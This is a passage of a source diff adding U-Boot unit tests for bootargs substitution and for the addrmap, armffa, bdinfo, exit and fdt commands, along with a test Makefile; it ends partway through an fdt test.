+ /* Check just enough space */
+ strcpy(buf, "some${var}thing");
+ ut_assertok(bootm_process_cmdline(buf, 16 * 2, BOOTM_CL_SUBST));
+ ut_asserteq_str("someabcdething", buf);
+
+ /*
+ * Check the substition string being too long. This results in a string
+ * of 12 (13 bytes). We need enough space for that plus the original
+ * "a${var}c" string of 9 bytes. So 12 + 9 = 21 bytes.
+ */
+ ut_assertok(env_set("var", "1234567890"));
+ strcpy(buf, "a${var}c");
+ ut_asserteq(-ENOSPC, bootm_process_cmdline(buf, 21, BOOTM_CL_SUBST));
+
+ strcpy(buf, "a${var}c");
+ ut_asserteq(0, bootm_process_cmdline(buf, 22, BOOTM_CL_SUBST));
+
+ /* Check multiple substitutions */
+ ut_assertok(env_set("var", "abc"));
+ strcpy(buf, "some${var}thing${bvar}else");
+ ut_asserteq(0, bootm_process_cmdline(buf, BUF_SIZE, BOOTM_CL_SUBST));
+ ut_asserteq_str("someabcthingelse", buf);
+
+ /* Check multiple substitutions */
+ ut_assertok(env_set("bvar", "123"));
+ strcpy(buf, "some${var}thing${bvar}else");
+ ut_asserteq(0, bootm_process_cmdline(buf, BUF_SIZE, BOOTM_CL_SUBST));
+ ut_asserteq_str("someabcthing123else", buf);
+
+ return 0;
+}
+BOOTM_TEST(bootm_test_subst, 0);
+
+/* Test silent processing in the bootargs variable */
+static int bootm_test_silent_var(struct unit_test_state *uts)
+{
+ env_set("bootargs", NULL);
+ ut_assertok(bootm_process_cmdline_env(BOOTM_CL_SUBST));
+ ut_assertnull(env_get("bootargs"));
+
+ ut_assertok(env_set("bootargs", "some${var}thing"));
+ ut_assertok(bootm_process_cmdline_env(BOOTM_CL_SUBST));
+ ut_asserteq_str("something", env_get("bootargs"));
+
+ return 0;
+}
+BOOTM_TEST(bootm_test_silent_var, 0);
+
+/* Test substitution processing in the bootargs variable */
+static int bootm_test_subst_var(struct unit_test_state *uts)
+{
+ ut_assertok(env_set("silent_linux", "yes"));
+ ut_assertok(env_set("bootargs", NULL));
+ ut_assertok(bootm_process_cmdline_env(BOOTM_CL_SILENT));
+ ut_asserteq_str("console=ttynull", env_get("bootargs"));
+
+ ut_assertok(env_set("var", "abc"));
+ ut_assertok(env_set("bootargs", "some${var}thing"));
+ ut_assertok(bootm_process_cmdline_env(BOOTM_CL_SILENT));
+ ut_asserteq_str("some${var}thing console=ttynull", env_get("bootargs"));
+
+ return 0;
+}
+BOOTM_TEST(bootm_test_subst_var, 0);
+
+/* Test substitution and silent console processing in the bootargs variable */
+static int bootm_test_subst_both(struct unit_test_state *uts)
+{
+ ut_assertok(env_set("silent_linux", "yes"));
+ env_set("bootargs", NULL);
+ ut_assertok(bootm_process_cmdline_env(BOOTM_CL_ALL));
+ ut_asserteq_str("console=ttynull", env_get("bootargs"));
+
+ ut_assertok(env_set("bootargs", "some${var}thing " CONSOLE_STR));
+ ut_assertok(env_set("var", "1234567890"));
+ ut_assertok(bootm_process_cmdline_env(BOOTM_CL_ALL));
+ ut_asserteq_str("some1234567890thing console=ttynull", env_get("bootargs"));
+
+ return 0;
+}
+BOOTM_TEST(bootm_test_subst_both, 0);
+
+int do_ut_bootm(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(bootm_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(bootm_test);
+
+ return cmd_ut_category("bootm", "bootm_test_", tests, n_ents,
+ argc, argv);
+}
diff --git a/test/cmd/Makefile b/test/cmd/Makefile
new file mode 100644
index 00000000000..478ef4c6f05
--- /dev/null
+++ b/test/cmd/Makefile
@@ -0,0 +1,36 @@
+# SPDX-License-Identifier: GPL-2.0+
+#
+# Copyright (c) 2013 Google, Inc
+# Copyright 2022-2023 Arm Limited and/or its affiliates <open-source-office@arm.com>
+
+obj-y += cmd_ut_cmd.o
+
+ifdef CONFIG_HUSH_PARSER
+obj-$(CONFIG_CONSOLE_RECORD) += test_echo.o
+endif
+ifdef CONFIG_CONSOLE_RECORD
+obj-$(CONFIG_CMD_PAUSE) += test_pause.o
+endif
+obj-y += exit.o mem.o
+obj-$(CONFIG_CMD_ADDRMAP) += addrmap.o
+obj-$(CONFIG_CMD_BDI) += bdinfo.o
+obj-$(CONFIG_CMD_FDT) += fdt.o
+obj-$(CONFIG_CONSOLE_TRUETYPE) += font.o
+obj-$(CONFIG_CMD_HISTORY) += history.o
+obj-$(CONFIG_CMD_LOADM) += loadm.o
+obj-$(CONFIG_CMD_MEM_SEARCH) += mem_search.o
+obj-$(CONFIG_CMD_MEMORY) += mem_copy.o
+ifdef CONFIG_CMD_PCI
+obj-$(CONFIG_CMD_PCI_MPS) += pci_mps.o
+endif
+obj-$(CONFIG_CMD_PINMUX) += pinmux.o
+obj-$(CONFIG_CMD_PWM) += pwm.o
+obj-$(CONFIG_CMD_SEAMA) += seama.o
+ifdef CONFIG_SANDBOX
+obj-$(CONFIG_CMD_MBR) += mbr.o
+obj-$(CONFIG_CMD_READ) += rw.o
+obj-$(CONFIG_CMD_SETEXPR) += setexpr.o
+obj-$(CONFIG_ARM_FFA_TRANSPORT) += armffa.o
+endif
+obj-$(CONFIG_CMD_TEMPERATURE) += temperature.o
+obj-$(CONFIG_CMD_WGET) += wget.o
diff --git a/test/cmd/addrmap.c b/test/cmd/addrmap.c
new file mode 100644
index 00000000000..7b8f49fd375
--- /dev/null
+++ b/test/cmd/addrmap.c
@@ -0,0 +1,36 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for addrmap command
+ *
+ * Copyright (C) 2021, Bin Meng <bmeng.cn@gmail.com>
+ */
+
+#include <console.h>
+#include <test/suites.h>
+#include <test/ut.h>
+
+/* Declare a new addrmap test */
+#define ADDRMAP_TEST(_name, _flags) UNIT_TEST(_name, _flags, addrmap_test)
+
+/* Test 'addrmap' command output */
+static int addrmap_test_basic(struct unit_test_state *uts)
+{
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_command("addrmap", 0));
+ ut_assert_nextline(" vaddr paddr size");
+ ut_assert_nextline("================ ================ ================");
+ /* There should be at least one entry */
+ ut_assertok(!ut_check_console_end(uts));
+
+ return 0;
+}
+ADDRMAP_TEST(addrmap_test_basic, UT_TESTF_CONSOLE_REC);
+
+int do_ut_addrmap(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(addrmap_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(addrmap_test);
+
+ return cmd_ut_category("cmd_addrmap", "cmd_addrmap_", tests, n_ents,
+ argc, argv);
+}
diff --git a/test/cmd/armffa.c b/test/cmd/armffa.c
new file mode 100644
index 00000000000..38f40b72f5e
--- /dev/null
+++ b/test/cmd/armffa.c
@@ -0,0 +1,32 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test for armffa command
+ *
+ * Copyright 2022-2023 Arm Limited and/or its affiliates <open-source-office@arm.com>
+ *
+ * Authors:
+ * Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
+ */
+
+#include <string.h>
+#include <asm/sandbox_arm_ffa.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Basic test of 'armffa' command */
+static int dm_test_armffa_cmd(struct unit_test_state *uts)
+{
+ /* armffa getpart <UUID> */
+ ut_assertok(run_command("armffa getpart " SANDBOX_SERVICE1_UUID, 0));
+
+ /* armffa ping <ID> */
+ ut_assertok(run_commandf("armffa ping 0x%x", SANDBOX_SP1_ID));
+
+ /* armffa devlist */
+ ut_assertok(run_command("armffa devlist", 0));
+
+ return 0;
+}
+
+DM_TEST(dm_test_armffa_cmd, UT_TESTF_SCAN_FDT | UT_TESTF_CONSOLE_REC);
diff --git a/test/cmd/bdinfo.c b/test/cmd/bdinfo.c
new file mode 100644
index 00000000000..027848c3e24
--- /dev/null
+++ b/test/cmd/bdinfo.c
@@ -0,0 +1,310 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for bdinfo command
+ *
+ * Copyright 2023 Marek Vasut <marek.vasut+renesas@mailbox.org>
+ */
+
+#include <console.h>
+#include <mapmem.h>
+#include <asm/global_data.h>
+#include <dm/uclass.h>
+#include <test/suites.h>
+#include <test/ut.h>
+#include <dm.h>
+#include <env.h>
+#include <lmb.h>
+#include <net.h>
+#include <serial.h>
+#include <video.h>
+#include <vsprintf.h>
+#include <asm/cache.h>
+#include <asm/global_data.h>
+#include <display_options.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+/* Declare a new bdinfo test */
+#define BDINFO_TEST(_name, _flags) UNIT_TEST(_name, _flags, bdinfo_test)
+
+static int test_num_l(struct unit_test_state *uts, const char *name,
+ ulong value)
+{
+ ut_assert_nextline("%-12s= 0x%0*lx", name, 2 * (int)sizeof(value),
+ value);
+
+ return 0;
+}
+
+static int test_num_ll(struct unit_test_state *uts, const char *name,
+ unsigned long long value)
+{
+ ut_assert_nextline("%-12s= 0x%.*llx", name, 2 * (int)sizeof(ulong),
+ value);
+
+ return 0;
+}
+
+static int test_eth(struct unit_test_state *uts)
+{
+ const int idx = eth_get_dev_index();
+ uchar enetaddr[6];
+ char name[10];
+ int ret;
+
+ if (idx)
+ sprintf(name, "eth%iaddr", idx);
+ else
+ strcpy(name, "ethaddr");
+
+ ret = eth_env_get_enetaddr_by_index("eth", idx, enetaddr);
+
+ ut_assert_nextline("current eth = %s", eth_get_name());
+ if (!ret)
+ ut_assert_nextline("%-12s= (not set)", name);
+ else
+ ut_assert_nextline("%-12s= %pM", name, enetaddr);
+ ut_assert_nextline("IP addr = %s", env_get("ipaddr"));
+
+ return 0;
+}
+
+static int test_video_info(struct unit_test_state *uts)
+{
+ const struct udevice *dev;
+ struct uclass *uc;
+
+ uclass_id_foreach_dev(UCLASS_VIDEO, dev, uc) {
+ ut_assert_nextline("%-12s= %s %sactive", "Video", dev->name,
+ device_active(dev) ? "" : "in");
+ if (device_active(dev)) {
+ struct video_priv *upriv = dev_get_uclass_priv(dev);
+ struct video_uc_plat *plat = dev_get_uclass_plat(dev);
+
+ ut_assertok(test_num_ll(uts, "FB base",
+ (ulong)upriv->fb));
+ if (upriv->copy_fb) {
+ ut_assertok(test_num_ll(uts, "FB copy",
+ (ulong)upriv->copy_fb));
+ ut_assertok(test_num_l(uts, " copy size",
+ plat->copy_size));
+ }
+ ut_assert_nextline("%-12s= %dx%dx%d", "FB size",
+ upriv->xsize, upriv->ysize,
+ 1 << upriv->bpix);
+ }
+ }
+
+ return 0;
+}
+
+static int lmb_test_dump_region(struct unit_test_state *uts,
+ struct lmb_region *rgn, char *name)
+{
+ unsigned long long base, size, end;
+ enum lmb_flags flags;
+ int i;
+
+ ut_assert_nextline(" %s.cnt = 0x%lx / max = 0x%lx", name, rgn->cnt, rgn->max);
+
+ for (i = 0; i < rgn->cnt; i++) {
+ base = rgn->region[i].base;
+ size = rgn->region[i].size;
+ end = base + size - 1;
+ flags = rgn->region[i].flags;
+
+ /*
+ * this entry includes the stack (get_sp()) on many platforms
+ * so will different each time lmb_init_and_reserve() is called.
+ * We could instead have the bdinfo command put its lmb region
+ * in a known location, so we can check it directly, rather than
+ * calling lmb_init_and_reserve() to create a new (and hopefully
+ * identical one). But for now this seems good enough.
+ */
+ if (!IS_ENABLED(CONFIG_SANDBOX) && i == 3) {
+ ut_assert_nextlinen(" %s[%d]\t[", name, i);
+ continue;
+ }
+ ut_assert_nextline(" %s[%d]\t[0x%llx-0x%llx], 0x%08llx bytes flags: %x",
+ name, i, base, end, size, flags);
+ }
+
+ return 0;
+}
+
+static int lmb_test_dump_all(struct unit_test_state *uts, struct lmb *lmb)
+{
+ ut_assert_nextline("lmb_dump_all:");
+ ut_assertok(lmb_test_dump_region(uts, &lmb->memory, "memory"));
+ ut_assertok(lmb_test_dump_region(uts, &lmb->reserved, "reserved"));
+
+ return 0;
+}
+
+static int bdinfo_check_mem(struct unit_test_state *uts)
+{
+ struct bd_info *bd = gd->bd;
+ int i;
+
+ for (i = 0; i < CONFIG_NR_DRAM_BANKS; ++i) {
+ if (bd->bi_dram[i].size) {
+ ut_assertok(test_num_l(uts, "DRAM bank", i));
+ ut_assertok(test_num_ll(uts, "-> start",
+ bd->bi_dram[i].start));
+ ut_assertok(test_num_ll(uts, "-> size",
+ bd->bi_dram[i].size));
+ }
+ }
+
+ return 0;
+}
+
+static int bdinfo_test_all(struct unit_test_state *uts)
+{
+ ut_assertok(test_num_l(uts, "boot_params", 0));
+
+ ut_assertok(bdinfo_check_mem(uts));
+
+ /* CONFIG_SYS_HAS_SRAM testing not supported */
+ ut_assertok(test_num_l(uts, "flashstart", 0));
+ ut_assertok(test_num_l(uts, "flashsize", 0));
+ ut_assertok(test_num_l(uts, "flashoffset", 0));
+ ut_assert_nextline("baudrate = %lu bps",
+ env_get_ulong("baudrate", 10, 1234));
+ ut_assertok(test_num_l(uts, "relocaddr", gd->relocaddr));
+ ut_assertok(test_num_l(uts, "reloc off", gd->reloc_off));
+ ut_assert_nextline("%-12s= %u-bit", "Build", (uint)sizeof(void *) * 8);
+
+ if (IS_ENABLED(CONFIG_CMD_NET))
+ ut_assertok(test_eth(uts));
+
+ /*
+ * Make sure environment variable "fdtcontroladdr" address
+ * matches mapped control DT address.
+ */
+ ut_assert(map_to_sysmem(gd->fdt_blob) == env_get_hex("fdtcontroladdr", 0x1234));
+ ut_assertok(test_num_l(uts, "fdt_blob",
+ (ulong)map_to_sysmem(gd->fdt_blob)));
+ ut_assertok(test_num_l(uts, "new_fdt",
+ (ulong)map_to_sysmem(gd->new_fdt)));
+ ut_assertok(test_num_l(uts, "fdt_size", (ulong)gd->fdt_size));
+
+ if (IS_ENABLED(CONFIG_VIDEO))
+ ut_assertok(test_video_info(uts));
+
+ /* The gd->multi_dtb_fit may not be available, hence, #if below. */
+#if CONFIG_IS_ENABLED(MULTI_DTB_FIT)
+ ut_assertok(test_num_l(uts, "multi_dtb_fit", (ulong)gd->multi_dtb_fit));
+#endif
+
+ if (IS_ENABLED(CONFIG_LMB) && gd->fdt_blob) {
+ struct lmb lmb;
+
+ lmb_init_and_reserve(&lmb, gd->bd, (void *)gd->fdt_blob);
+ ut_assertok(lmb_test_dump_all(uts, &lmb));
+ if (IS_ENABLED(CONFIG_OF_REAL))
+ ut_assert_nextline("devicetree = %s", fdtdec_get_srcname());
+ }
+
+ if (IS_ENABLED(CONFIG_DM_SERIAL)) {
+ struct serial_device_info info;
+
+ ut_assertnonnull(gd->cur_serial_dev);
+ ut_assertok(serial_getinfo(gd->cur_serial_dev, &info));
+
+ ut_assertok(test_num_l(uts, "serial addr", info.addr));
+ ut_assertok(test_num_l(uts, " width", info.reg_width));
+ ut_assertok(test_num_l(uts, " shift", info.reg_shift));
+ ut_assertok(test_num_l(uts, " offset", info.reg_offset));
+ ut_assertok(test_num_l(uts, " clock", info.clock));
+ }
+
+ if (IS_ENABLED(CONFIG_CMD_BDINFO_EXTRA)) {
+ ut_assert_nextlinen("stack ptr");
+ ut_assertok(test_num_ll(uts, "ram_top ptr",
+ (unsigned long long)gd->ram_top));
+ ut_assertok(test_num_l(uts, "malloc base", gd_malloc_start()));
+ }
+
+ if (IS_ENABLED(CONFIG_X86))
+ ut_check_skip_to_linen(uts, " high end =");
+
+ return 0;
+}
+
+static int bdinfo_test_full(struct unit_test_state *uts)
+{
+ /* Test BDINFO full print */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("bdinfo"));
+ ut_assertok(bdinfo_test_all(uts));
+ ut_assertok(run_commandf("bdinfo -a"));
+ ut_assertok(bdinfo_test_all(uts));
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+
+BDINFO_TEST(bdinfo_test_full, UT_TESTF_CONSOLE_REC);
+
+static int bdinfo_test_help(struct unit_test_state *uts)
+{
+ /* Test BDINFO unknown option help text print */
+ ut_assertok(console_record_reset_enable());
+ if (!CONFIG_IS_ENABLED(GETOPT)) {
+ ut_asserteq(0, run_commandf("bdinfo -h"));
+ ut_assertok(bdinfo_test_all(uts));
+ } else {
+ ut_asserteq(1, run_commandf("bdinfo -h"));
+ ut_assert_nextlinen("bdinfo: invalid option -- h");
+ ut_assert_nextlinen("bdinfo - print Board Info structure");
+ ut_assert_nextline_empty();
+ ut_assert_nextlinen("Usage:");
+ ut_assert_nextlinen("bdinfo");
+ }
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+
+BDINFO_TEST(bdinfo_test_help, UT_TESTF_CONSOLE_REC);
+
+static int bdinfo_test_memory(struct unit_test_state *uts)
+{
+ /* Test BDINFO memory layout only print */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("bdinfo -m"));
+ if (!CONFIG_IS_ENABLED(GETOPT))
+ ut_assertok(bdinfo_test_all(uts));
+ else
+ ut_assertok(bdinfo_check_mem(uts));
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+
+BDINFO_TEST(bdinfo_test_memory, UT_TESTF_CONSOLE_REC);
+
+static int bdinfo_test_eth(struct unit_test_state *uts)
+{
+ /* Test BDINFO ethernet settings only print */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("bdinfo -e"));
+ if (!CONFIG_IS_ENABLED(GETOPT))
+ ut_assertok(bdinfo_test_all(uts));
+ else if (IS_ENABLED(CONFIG_CMD_NET))
+ ut_assertok(test_eth(uts));
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+
+BDINFO_TEST(bdinfo_test_eth, UT_TESTF_CONSOLE_REC);
+
+int do_ut_bdinfo(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(bdinfo_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(bdinfo_test);
+
+ return cmd_ut_category("bdinfo", "bdinfo_test_", tests, n_ents, argc, argv);
+}
diff --git a/test/cmd/cmd_ut_cmd.c b/test/cmd/cmd_ut_cmd.c
new file mode 100644
index 00000000000..e77fa1c7f01
--- /dev/null
+++ b/test/cmd/cmd_ut_cmd.c
@@ -0,0 +1,20 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright 2023 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ *
+ * Unit tests for command functions
+ */
+
+#include <command.h>
+#include <test/cmd.h>
+#include <test/suites.h>
+#include <test/ut.h>
+
+int do_ut_cmd(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(cmd_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(cmd_test);
+
+ return cmd_ut_category("cmd", "cmd_test_", tests, n_ents, argc, argv);
+}
diff --git a/test/cmd/exit.c b/test/cmd/exit.c
new file mode 100644
index 00000000000..d310ec8531b
--- /dev/null
+++ b/test/cmd/exit.c
@@ -0,0 +1,134 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for exit command
+ *
+ * Copyright 2022 Marek Vasut <marex@denx.de>
+ */
+
+#include <console.h>
+#include <mapmem.h>
+#include <asm/global_data.h>
+#include <test/suites.h>
+#include <test/ut.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+/* Declare a new exit test */
+#define EXIT_TEST(_name, _flags) UNIT_TEST(_name, _flags, exit_test)
+
+/* Test 'exit addr' getting/setting address */
+static int cmd_exit_test(struct unit_test_state *uts)
+{
+ int i;
+
+ /*
+ * Test 'exit' with parameter -3, -2, -1, 0, 1, 2, 3 . Use all those
+ * parameters to cover also the special return value -2 that is used
+ * in HUSH to detect exit command.
+ *
+ * Always test whether 'exit' command:
+ * - exits out of the 'run' command
+ * - return value is propagated out of the 'run' command
+ * - return value can be tested on outside of 'run' command
+ * - return value can be printed outside of 'run' command
+ */
+ for (i = -3; i <= 3; i++) {
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("setenv foo 'echo bar ; exit %d ; echo baz' ; run foo ; echo $?", i));
+ ut_assert_nextline("bar");
+ ut_assert_nextline("%d", i > 0 ? i : 0);
+ ut_assertok(ut_check_console_end(uts));
+
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("setenv foo 'echo bar ; exit %d ; echo baz' ; run foo && echo quux ; echo $?", i));
+ ut_assert_nextline("bar");
+ if (i <= 0)
+ ut_assert_nextline("quux");
+ ut_assert_nextline("%d", i > 0 ? i : 0);
+ ut_assertok(ut_check_console_end(uts));
+
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("setenv foo 'echo bar ; exit %d ; echo baz' ; run foo || echo quux ; echo $?", i));
+ ut_assert_nextline("bar");
+ if (i > 0)
+ ut_assert_nextline("quux");
+ /* Either 'exit' returns 0, or 'echo quux' returns 0 */
+ ut_assert_nextline("0");
+ ut_assertok(ut_check_console_end(uts));
+ }
+
+ /* Validate that 'exit' behaves the same way as 'exit 0' */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("setenv foo 'echo bar ; exit ; echo baz' ; run foo ; echo $?"));
+ ut_assert_nextline("bar");
+ ut_assert_nextline("0");
+ ut_assertok(ut_check_console_end(uts));
+
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("setenv foo 'echo bar ; exit ; echo baz' ; run foo && echo quux ; echo $?"));
+ ut_assert_nextline("bar");
+ ut_assert_nextline("quux");
+ ut_assert_nextline("0");
+ ut_assertok(ut_check_console_end(uts));
+
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("setenv foo 'echo bar ; exit ; echo baz' ; run foo || echo quux ; echo $?"));
+ ut_assert_nextline("bar");
+ /* Either 'exit' returns 0, or 'echo quux' returns 0 */
+ ut_assert_nextline("0");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Validate that return value still propagates from 'run' command */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("setenv foo 'echo bar ; true' ; run foo ; echo $?"));
+ ut_assert_nextline("bar");
+ ut_assert_nextline("0");
+ ut_assertok(ut_check_console_end(uts));
+
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("setenv foo 'echo bar ; true' ; run foo && echo quux ; echo $?"));
+ ut_assert_nextline("bar");
+ ut_assert_nextline("quux");
+ ut_assert_nextline("0");
+ ut_assertok(ut_check_console_end(uts));
+
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("setenv foo 'echo bar ; true' ; run foo || echo quux ; echo $?"));
+ ut_assert_nextline("bar");
+ /* The 'true' returns 0 */
+ ut_assert_nextline("0");
+ ut_assertok(ut_check_console_end(uts));
+
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("setenv foo 'echo bar ; false' ; run foo ; echo $?"));
+ ut_assert_nextline("bar");
+ ut_assert_nextline("1");
+ ut_assertok(ut_check_console_end(uts));
+
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("setenv foo 'echo bar ; false' ; run foo && echo quux ; echo $?"));
+ ut_assert_nextline("bar");
+ ut_assert_nextline("1");
+ ut_assertok(ut_check_console_end(uts));
+
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("setenv foo 'echo bar ; false' ; run foo || echo quux ; echo $?"));
+ ut_assert_nextline("bar");
+ ut_assert_nextline("quux");
+ /* The 'echo quux' returns 0 */
+ ut_assert_nextline("0");
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+
+EXIT_TEST(cmd_exit_test, UT_TESTF_CONSOLE_REC);
+
+int do_ut_exit(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(exit_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(exit_test);
+
+ return cmd_ut_category("cmd_exit", "exit_test_", tests, n_ents,
+ argc, argv);
+}
diff --git a/test/cmd/fdt.c b/test/cmd/fdt.c
new file mode 100644
index 00000000000..a0faf5aca90
--- /dev/null
+++ b/test/cmd/fdt.c
@@ -0,0 +1,1530 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for fdt command
+ *
+ * Copyright 2022 Google LLC
+ */
+
+#include <console.h>
+#include <fdt_support.h>
+#include <mapmem.h>
+#include <asm/global_data.h>
+#include <linux/libfdt.h>
+#include <test/suites.h>
+#include <test/ut.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+/*
+ * Missing tests:
+ * fdt boardsetup - Do board-specific set up
+ * fdt checksign [<addr>] - check FIT signature
+ * <addr> - address of key blob
+ * default gd->fdt_blob
+ */
+
+/* Declare a new fdt test */
+#define FDT_TEST(_name, _flags) UNIT_TEST(_name, _flags, fdt_test)
+
+/**
+ * make_test_fdt() - Create an FDT with just a root node
+ *
+ * The size is set to the minimum needed
+ *
+ * @uts: Test state
+ * @fdt: Place to write FDT
+ * @size: Maximum size of space for fdt
+ */
+static int make_test_fdt(struct unit_test_state *uts, void *fdt, int size)
+{
+ ut_assertok(fdt_create(fdt, size));
+ ut_assertok(fdt_finish_reservemap(fdt));
+ ut_assert(fdt_begin_node(fdt, "") >= 0);
+ ut_assertok(fdt_end_node(fdt));
+ ut_assertok(fdt_finish(fdt));
+
+ return 0;
+}
+
+/**
+ * make_fuller_fdt() - Create an FDT with root node and properties
+ *
+ * The size is set to the minimum needed
+ *
+ * @uts: Test state
+ * @fdt: Place to write FDT
+ * @size: Maximum size of space for fdt
+ */
+static int make_fuller_fdt(struct unit_test_state *uts, void *fdt, int size)
+{
+ fdt32_t regs[2] = { cpu_to_fdt32(0x1234), cpu_to_fdt32(0x1000) };
+
+ /*
+ * Assemble the following DT for test purposes:
+ *
+ * / {
+ * #address-cells = <0x00000001>;
+ * #size-cells = <0x00000001>;
+ * compatible = "u-boot,fdt-test";
+ * model = "U-Boot FDT test";
+ *
+ * aliases {
+ * badalias = "/bad/alias";
+ * subnodealias = "/test-node@1234/subnode";
+ * testnodealias = "/test-node@1234";
+ * };
+ *
+ * test-node@1234 {
+ * #address-cells = <0x00000000>;
+ * #size-cells = <0x00000000>;
+ * compatible = "u-boot,fdt-test-device1";
+ * clock-names = "fixed", "i2c", "spi", "uart2", "uart1";
+ * u-boot,empty-property;
+ * clock-frequency = <0x00fde800>;
+ * regs = <0x00001234 0x00001000>;
+ *
+ * subnode {
+ * #address-cells = <0x00000000>;
+ * #size-cells = <0x00000000>;
+ * compatible = "u-boot,fdt-subnode-test-device";
+ * };
+ * };
+ * };
+ */
+
+ ut_assertok(fdt_create(fdt, size));
+ ut_assertok(fdt_finish_reservemap(fdt));
+ ut_assert(fdt_begin_node(fdt, "") >= 0);
+
+ ut_assertok(fdt_property_u32(fdt, "#address-cells", 1));
+ ut_assertok(fdt_property_u32(fdt, "#size-cells", 1));
+ /* <string> */
+ ut_assertok(fdt_property_string(fdt, "compatible", "u-boot,fdt-test"));
+ /* <string> */
+ ut_assertok(fdt_property_string(fdt, "model", "U-Boot FDT test"));
+
+ ut_assert(fdt_begin_node(fdt, "aliases") >= 0);
+ /* <string> */
+ ut_assertok(fdt_property_string(fdt, "badalias", "/bad/alias"));
+ /* <string> */
+ ut_assertok(fdt_property_string(fdt, "subnodealias", "/test-node@1234/subnode"));
+ /* <string> */
+ ut_assertok(fdt_property_string(fdt, "testnodealias", "/test-node@1234"));
+ ut_assertok(fdt_end_node(fdt));
+
+ ut_assert(fdt_begin_node(fdt, "test-node@1234") >= 0);
+ ut_assertok(fdt_property_cell(fdt, "#address-cells", 0));
+ ut_assertok(fdt_property_cell(fdt, "#size-cells", 0));
+ /* <string> */
+ ut_assertok(fdt_property_string(fdt, "compatible", "u-boot,fdt-test-device1"));
+ /* <stringlist> */
+ ut_assertok(fdt_property(fdt, "clock-names", "fixed\0i2c\0spi\0uart2\0uart1\0", 26));
+ /* <empty> */
+ ut_assertok(fdt_property(fdt, "u-boot,empty-property", NULL, 0));
+ /*
+ * <u32>
+ * This value is deliberate as it used to break cmd/fdt.c
+ * is_printable_string() implementation.
+ */
+ ut_assertok(fdt_property_u32(fdt, "clock-frequency", 16640000));
+ /* <prop-encoded-array> */
+ ut_assertok(fdt_property(fdt, "regs", &regs, sizeof(regs)));
+ ut_assert(fdt_begin_node(fdt, "subnode") >= 0);
+ ut_assertok(fdt_property_cell(fdt, "#address-cells", 0));
+ ut_assertok(fdt_property_cell(fdt, "#size-cells", 0));
+ ut_assertok(fdt_property_string(fdt, "compatible", "u-boot,fdt-subnode-test-device"));
+ ut_assertok(fdt_end_node(fdt));
+ ut_assertok(fdt_end_node(fdt));
+
+ ut_assertok(fdt_end_node(fdt));
+ ut_assertok(fdt_finish(fdt));
+
+ return 0;
+}
+
+/* Test 'fdt addr' getting/setting address */
+static int fdt_test_addr(struct unit_test_state *uts)
+{
+ const void *fdt_blob, *new_fdt;
+ char fdt[256];
+ ulong addr;
+ int ret;
+
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_command("fdt addr -c", 0));
+ ut_assert_nextline("Control fdt: %08lx",
+ (ulong)map_to_sysmem(gd->fdt_blob));
+ ut_assertok(ut_check_console_end(uts));
+
+ /* The working fdt is not set, so this should fail */
+ set_working_fdt_addr(0);
+ ut_assert_nextline("Working FDT set to 0");
+ ut_asserteq(CMD_RET_FAILURE, run_command("fdt addr", 0));
+
+ /*
+ * sandbox fails the check for !blob since the 0 pointer is mapped to
+ * memory somewhere other than at 0x0
+ */
+ if (IS_ENABLED(CONFIG_SANDBOX))
+ ut_assert_nextline("libfdt fdt_check_header(): FDT_ERR_BADMAGIC");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Set up a working FDT and try again */
+ ut_assertok(make_test_fdt(uts, fdt, sizeof(fdt)));
+ addr = map_to_sysmem(fdt);
